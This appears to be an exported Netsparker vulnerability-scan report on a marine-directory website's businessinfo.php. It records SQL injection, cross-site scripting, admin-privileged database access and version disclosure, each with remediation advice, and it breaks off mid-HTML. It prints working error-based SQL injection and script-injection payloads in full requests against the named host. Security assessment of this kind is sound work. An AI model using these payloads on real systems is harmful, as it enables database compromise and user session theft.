GET /businessinfo.php?sponsor=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&location=17044 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:40 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 61
Content-Type: text/html


Duplicate entry '_!@4dilemma:0' for key 1
- /businessinfo.php

/businessinfo.php CONFIRMED

http://www.firstmateonline.com/businessinfo.php?sponsor=8159&location=(select+1+and+row(1%2c1)%3e(se..

Parameters

Parameter Type Value
sponsor GET 8159
location GET (select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Request

GET /businessinfo.php?sponsor=8159&location=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:41 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 185
Content-Type: text/html


<br /><b>Warning</b>: mysql_query() [<a href='function.mysql-query'>function.mysql-query</a>]: Unable to save result set in <b>/var/fm/businessinfo.php</b> on line <b>52</b><br />Duplicate entry '_!@4dilemma:0' for key 1
[High Possibility] SQL Injection

[High Possibility] SQL Injection

2 TOTAL
CRITICAL
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
  • Reading, Updating and Deleting arbitrary data from the database
  • Executing commands on the underlying operating system
  • Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /businessinfo.php

/businessinfo.php

http://www.firstmateonline.com/businessinfo.php?sponsor=%2527&location=17044

Parameters

Parameter Type Value
sponsor GET %27
location GET 17044

Request

GET /businessinfo.php?sponsor=%2527&location=17044 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:39 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 165
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27 and c.deleted = 0 ORDER BY c.categoryname' at line 1
- /businessinfo.php

/businessinfo.php

http://www.firstmateonline.com/businessinfo.php?sponsor=8159&location=%2527

Parameters

Parameter Type Value
sponsor GET 8159
location GET %27

Request

GET /businessinfo.php?sponsor=8159&location=%2527 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:40 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 169
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%27 AND s.publishonline = 1 AND s.deleted = 0 AND sl.deleted = 0 AND p.deleted =' at line 1
Cross-site Scripting

Cross-site Scripting

2 TOTAL
IMPORTANT
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /businessinfo.php

/businessinfo.php

http://www.firstmateonline.com/businessinfo.php?sponsor='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%..

Parameters

Parameter Type Value
sponsor GET '"--></style></script><script>alert(0x000013)</script>
location GET 17044

Request

GET /businessinfo.php?sponsor='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000013)%3C/script%3E&location=17044 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:41 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 182
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'\"--></style></script><script>netsparker(0x000013)</script> and c.deleted = 0 ' at line 1
- /businessinfo.php

/businessinfo.php

http://www.firstmateonline.com/businessinfo.php?sponsor=8159&location='%22--%3E%3C/style%3E%3C/scrip..

Parameters

Parameter Type Value
sponsor GET 8159
location GET '"--></style></script><script>alert(0x000021)</script>

Request

GET /businessinfo.php?sponsor=8159&location='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000021)%3C/script%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:09:04 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 183
Content-Type: text/html


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'\"--></style></script><script>netsparker(0x000021)</script> AND s.publishonlin' at line 1
Database User Has Admin Privileges

Database User Has Admin Privileges

1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that the target web site is connecting to the backend database by using a user that has administrative privileges. This issue has been confirmed by checking the connection privileges via an identified SQL Injection vulnerability in the application.

Impact

This can allow an attacker to gain extra privileges via SQL Injection attacks. Here is the list of attacks that the attacker might carry out:
  • Gain full access to the database server.
  • Gain a reverse shell to the database server and execute commands on the underlying operating system.
  • Access the database with full permissions. Where it may be possible to read, update or delete arbitrary data from the database.
  • Furthermore, depending on the platform and the database system user an attacker might carry out a privilege escalation attack to gain administrator access to the target system.

Remedy

Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.

External References

- /businessinfo.php

/businessinfo.php CONFIRMED

http://www.firstmateonline.com/businessinfo.php?sponsor=(select+1+and+row(1%2c1)%3e(select+count(*)%..

Request

GET /businessinfo.php?sponsor=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&location=17044 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:40 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 61
Content-Type: text/html


Duplicate entry '_!@4dilemma:0' for key 1
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /businessinfo.php

/businessinfo.php

http://www.firstmateonline.com/businessinfo.php?sponsor=8159&location=17044

Extracted Version

Apache/2.2.9 (Debian)

Request

GET /businessinfo.php?sponsor=8159&location=17044 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:30 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 3822
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"><html><!-- InstanceBegin template="/templates/fmHaloLeftNav002.dwt" codeOutsideHTMLIsLocked="false" --><!-- DW6 --><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <!-- #BeginEditable "doctitle" --> <title> on </title> <meta name="Keywords" content=" on " > <meta name="Description" content="Full Contact Information for on - . Look for similiar companies using the category links. Now including listings for the Caribbean, the Bahamas, Mediterranean and North and Central America." ><!-- #EndEditable --> <link href="cssfiles/fmHaloLeftNav002.css" rel="stylesheet" type="text/css"><!-- Analytics / Adsense Integration Code --> <script type="text/javascript"> window.google_analytics_uacct = "UA-65281-2"; </script></head><body><script type="text/javascript">window.google_analytics_uacct = "UA-65281-2";</script><!-- ************************************************************** --><!-- ************** MASTHEAD ***************** --><!-- ************************************************************** --><div id="masthead"> <div id='sitelogo'><a href="index.htm"><img src="assets/firstmatelogo225Blue90Tall.jpg" alt="First Mate - The Marine Service Directory" name="FIRSTMATElogo" width="399" height="90" border="0"></a></div> <div id="sitedesc"> <p align="center">Online Marine Services Directory for the Megayacht Crew, Regatta Sailors, Cruisers and Fishing Captains</p> </div> <div id='srchform'> <!-- SiteSearch Google --><form action="http://www.firstmateonline.com/searchresults.html" id="cse-search-box"> <div> <input type="hidden" name="cx" value="partner-pub-9585000347357330:nueny0-buro" /> <input type="hidden" name="cof" value="FORID:10" /> <input type="hidden" name="ie" value="ISO-8859-1" /> <input type="text" name="q" size="31" /> <input type="submit" name="sa" value="Search" /> </div></form><script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&amp;lang=en"></script><!-- SiteSearch Google --></div><!-- ************************************************************** --><!-- ************** GLOBALNAV ***************** --><!-- ************************************************************** --> <div id="globalNav"> <img alt="" src="http://www.allatsea.net/assets/gblnav_left.gif" height="32" width="4" id="gnl"> <img alt="" src="http://www.allatsea.net/assets/glbnav_right.gif" height="32" width="4" id="gnr"> <div id="globalLink"> <a href="index.htm" class="glink">home</a> <a href="http://www.forcrew.com/" class="glink">ForCrew.com</a> <a href="http://www.allatsea.net/" class="glink">All At Sea</a> <a href="http://www.crew-life.com" class="glink">Crew Life</a> <a href="http://www.yachtessentials.com/" class="glink">YACHT ESSENTIALS</a> <!--end globalLinks--> </div> <!-- end globalNav --> </div><!-- end masthead --> </div><!-- ************************************************************** --><!-- ************** pagecell1 ***************** --><!-- ************************************************************** --><div id="pagecell1"> <!--pagecell1--> <img alt="" src="http://www.allatsea.net/assets/tl_curve_white.gif" height="6" width="6" id="tl"> <img alt="" src= "http://www.allatsea.net/assets/tr_curve_white.gif" height="6" width="6" id="tr"> <div id="translate"> <!-- InstanceBeginEditable name="translate" --> <!--Translate this page to English <img src="assets/flags/uk-t.gif" alt="Translate to English" width="20" height="10"> - <a href="spanish/index.htm">Spanish <img src="assets/flags/Spain-t.gif" alt="Translate to Spanish" width="15" height="10"></a> --> <!-- <a href="#">French</a> <img src="../assets/flags/France-t.gif" width="15" height="10"> - <a href="#">Dutch</a> <img src="../assets/flags/Netherlands-t.gif" width="15" height="10"> --> <!-- InstanceEndEditable --> </div> <!--end translate--> <div id="breadCrumb"> <!-- InstanceBeginEditable name="edBreadcrumb" --> <a href="index.htm">home</a> / <a href="searchbycategory.php">search</a> / / <!-- InstanceEndEditable --> </div> <!--end breadCrumb--> <div id="pageName"> <!-- InstanceBeginEditable name="edPageName" --> <h2><br> </h2> <!-- InstanceEndEditable --> <!--/* OpenX Javascript Tag v2.8.1 */--><!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--><script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=7"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>");//]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=af9653b3&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=7&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=af9653b3' border='0' alt='' /></a></noscript> </div> <!--end pageName--> <!-- ************************************************************** --><!-- ************** rightAdvert ***************** --><!-- ************************************************************** --> <div id="rightAdvert"> <!--/* OpenX Javascript Tag v2.8.1 */--> <!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--> <script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=10"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>"); //]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=ad85359b&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=10&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=ad85359b' border='0' alt='' /></a></noscript> </div><!-- ************************************************************** --><!-- ************** pageNav ***************** --><!-- ************************************************************** --> <div id="pageNav"> <!-- InstanceBeginEditable name="InternalNav" --> <!-- InstanceEndEditable --> <!--<div id="sectionLinks"> <a href="http://www.crew-life.com/">Crew Life Online</a> <a href="http://www.allatsea.net/">All At Sea Online</a> </div> --> <div class="relatedLinks"> <h3>Search Marine Directory </h3> <a href="searchbycategory.php">By Category</a> <a href="searchbyisland.php">By ALL Ports</a> <a href="searchbyregion.php">By Specific Region</a> <a href="selectletter.php">By Alphabetical Order</a></div><div class="relatedLinks"> <h3>Site Utilities</h3> <a href="updates.html">Update Your Listing</a> <a href="mailto:support@firstmateonline.com">List Your Company</a> <a href="advertise.htm">Advertising</a> </div> <div id="advert"> <a href="http://www.forcrew.com/"onClick="javascript:urchinTracker('/outgoing/crewlife');"target="_blank"><img src="assets/ads/160x294-forcrew.gif" alt="ForCrew.com Connecting Captains and Crew" width="160" height="294" border="0"></a> <!--Advertisement copy goes here. Advertisement copy goes here.--> </div> <!-- InstanceBeginEditable name="edPageNav" --> <!-- InstanceEndEditable --> </div> <!--end pageNav--> <!-- ************************************************************** --><!-- ************** content ***************** --><!-- ************************************************************** --> <div id="content"> <div class="feature"> <!-- InstanceBeginEditable name="edFeature" --> <h3>Contact Info:</h3> <p><strong></strong> - <br> <em>Phone:</em> <br> <em>Fax:</em> <br> <em>eMail:</em> <a href="mailto:?subject=www.FirstMateOnline.com Inquiry"> </a><br> <p><em>You can also find listed under: <br> - <a href="regionbycategory.php?category=21"><strong>Boatyards</strong></a><br> - <a href="regionbycategory.php?category=65"><strong>Marinas</strong></a><br> - <a href="regionbycategory.php?category=829"><strong>Shipwright / Boat Builders</strong></a><br> (Click to find other businesses in category)</em></p> <p>Are you looking for other businesses in <a href="categoriesbyisland.php?island="><strong></strong></a>?</p> <p>NOTES:<br> - Do you need to update your information? <a href="mailto:support@firstmateonline.com">Email</a> us your Changes! </p> <!-- InstanceEndEditable --> </div> <!--end feature--><!--/* OpenX Javascript Tag v2.8.1 */--><!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--><script type='text/javascript'><!--//<![CDATA[ var m3_u = (location.protocol=='https:'?'https://new.forcrew.com/admanager/www/delivery/ajs.php':'http://new.forcrew.com/admanager/www/delivery/ajs.php'); var m3_r = Math.floor(Math.random()*99999999999); if (!document.MAX_used) document.MAX_used = ','; document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u); document.write ("?zoneid=9"); document.write ('&amp;cb=' + m3_r); if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used); document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : '')); document.write ("&amp;loc=" + escape(window.location)); if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer)); if (document.context) document.write ("&context=" + escape(document.context)); if (document.mmm_fo) document.write ("&amp;mmm_fo=1"); document.write ("'><\/scr"+"ipt>");//]]>--></script><noscript><a href='http://new.forcrew.com/admanager/www/delivery/ck.php?n=a05fbc3a&amp;cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://new.forcrew.com/admanager/www/delivery/avw.php?zoneid=9&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;n=a05fbc3a' border='0' alt='' /></a></noscript> </div> <!--end content--> <!-- ************************************************************** --><!-- ************** siteInfo ***************** --><!-- ************************************************************** --> <div id="siteInfo"> <a href="http://www.allatsea.net/index.php"><img src="assets/allatsea_sm_logo.gif" alt="All At Sea - The Caribbean's Waterfront Magazine. Serving the Caribbean Maritime Industry since 1993." width="60" height="44" border="0"></a> <a href="http://www.allatsea.net/aboutus.htm">About Us</a> | <a href="generator/data/sitemap.html">Sitemap</a> | &copy;2006-2007 Kennan Holdings LLC </div></div> <!--end siteInfo--> <!--end pagecell1--> <!-- Google Analytics Script --> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-65281-2"); pageTracker._trackPageview(); } catch(err) {}</script><!-- End Google Analytics --></body><!-- InstanceEnd --></html>
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /businessinfo.php

/businessinfo.php

http://www.firstmateonline.com/businessinfo.php?sponsor=8159&location=17044

Extracted Version

PHP/5.2.6

Request

GET /businessinfo.php?sponsor=8159&location=17044 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
Cache-Control: no-cache
Host: www.firstmateonline.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 06 Apr 2011 13:03:30 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 3822
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"><html><!-- InstanceBegin template="/templates/fmHaloLeftNav002.dwt" codeOutsideHTMLIsLocked="false" --><!-- DW6 --><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <!-- #BeginEditable "doctitle" --> <title> on </title> <meta name="Keywords" content=" on " > <meta name="Description" content="Full Contact Information for on - . Look for similiar companies using the category links. Now including listings for the Caribbean, the Bahamas, Mediterranean and North and Central America." ><!-- #EndEditable --> <link href="cssfiles/fmHaloLeftNav002.css" rel="stylesheet" type="text/css"><!-- Analytics / Adsense Integration Code --> <script type="text/javascript"> window.google_analytics_uacct = "UA-65281-2"; </script></head><body><script type="text/javascript">window.google_analytics_uacct = "UA-65281-2";</script><!-- ************************************************************** --><!-- ************** MASTHEAD ***************** --><!-- ************************************************************** --><div id="masthead"> <div id='sitelogo'><a href="index.htm"><img src="assets/firstmatelogo225Blue90Tall.jpg" alt="First Mate - The Marine Service Directory" name="FIRSTMATElogo" width="399" height="90" border="0"></a></div> <div id="sitedesc"> <p align="center">Online Marine Services Directory for the Megayacht Crew, Regatta Sailors, Cruisers and Fishing Captains</p> </div> <div id='srchform'> <!-- SiteSearch Google --><form action="http://www.firstmateonline.com/searchresults.html" id="cse-search-box"> <div> <input type="hidden" name="cx" value="partner-pub-9585000347357330:nueny0-buro" /> <input type="hidden" name="cof" value="FORID:10" /> <input type="hidden" name="ie" value="ISO-8859-1" /> <input type="text" name="q" size="31" /> <input type="submit" name="sa" value="Search" /> </div></form><script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&amp;lang=en"></script><!-- SiteSearch Google --></div><!-- ************************************************************** --><!-- ************** GLOBALNAV ***************** --><!-- ************************************************************** --> <div id="globalNav"> <img alt="" src="http://www.allatsea.net/assets/gblnav_left.gif" height="32" width="4" id="gnl"> <img alt="" src="http://www.allatsea.net/assets/glbnav_right.gif" height="32" width="4" id="gnr"> <div id="globalLink"> <a href="index.htm" class="glink">home</a> <a href="http://www.forcrew.com/" class="glink">ForCrew.com</a> <a href="http://www.allatsea.net/" class="glink">All At Sea</a> <a href="http://www.crew-life.com" class="glink">Crew Life</a> <a href="http://www.yachtessentials.com/" class="glink">YACHT ESSENTIALS</a> <!--end globalLinks--> </div> <!-- end globalNav --> </div><!-- end masthead --> </div><!-- ************************************************************** --><!-- ************** pagecell1 ***************** --><!-- ************************************************************** --><div id="pagecell1"> <!--pagecell1--> <img alt="" src="http://www.allatsea.net/assets/tl_curve_white.gif" height="6" width="6" id="tl"> <img alt="" src= "http://www.allatsea.net/assets/tr_curve_white.gif" height="6" width="6" id="tr"> <div id="translate"> <!-- InstanceBeginEditable name="translate" --> <!--Translate this page to English <img src="assets/flags/uk-t.gif" alt="Translate to English" width="20" height="10"> - <a href="spanish/index.htm">Spanish <img src="assets/flags/Spain-t.gif" alt="Translate to Spanish" width="15" height="10"></a> --> <!-- <a href="#">French</a> <img src="../assets/flags/France-t.gif" width="15" height="10"> - <a href="#">Dutch</a> <img src="../assets/flags/Netherlands-t.gif" width="15" height="10"> --> <!-- InstanceEndEditable --> </div> <!--end translate--> <div id="breadCrumb"> <!-- InstanceBeginEditable name="edBreadcrumb" --> <a href="index.htm">home</a> / <a href="searchbycategory.php">search</a> / / <!-- InstanceEndEditable --> </div> <!--end breadCrumb--> <div id="pageName"> <!-- InstanceBeginEditable name="edPageName" --> <h2><br> </h2> <!-- InstanceEndEditable --> <!--/* OpenX Javascript Tag v2.8.1 */--><!--/* * The backup image section of this tag has been generated for use on a * non-SSL page. If this tag is to be placed on an SSL page, change the * 'http://new.forcrew.com/admanager/www/delivery/...' * to * 'https://new.forcrew.com/admanager/www/delivery/...' * * This noscript section of this tag only shows image banners. There * is no width or height in these banners, so if you want these tags to * allocate space for the ad before it shows, you will need to add this * information to the <img> tag. * * If you do not want to deal with the intricities of the noscript * section, delete the tag (from <noscript>... to </noscript>). On * average, the noscript tag is called from less than 1% of internet * users. */--><script type='text/javascript'><!--//<![CDATA[ var m3_u = 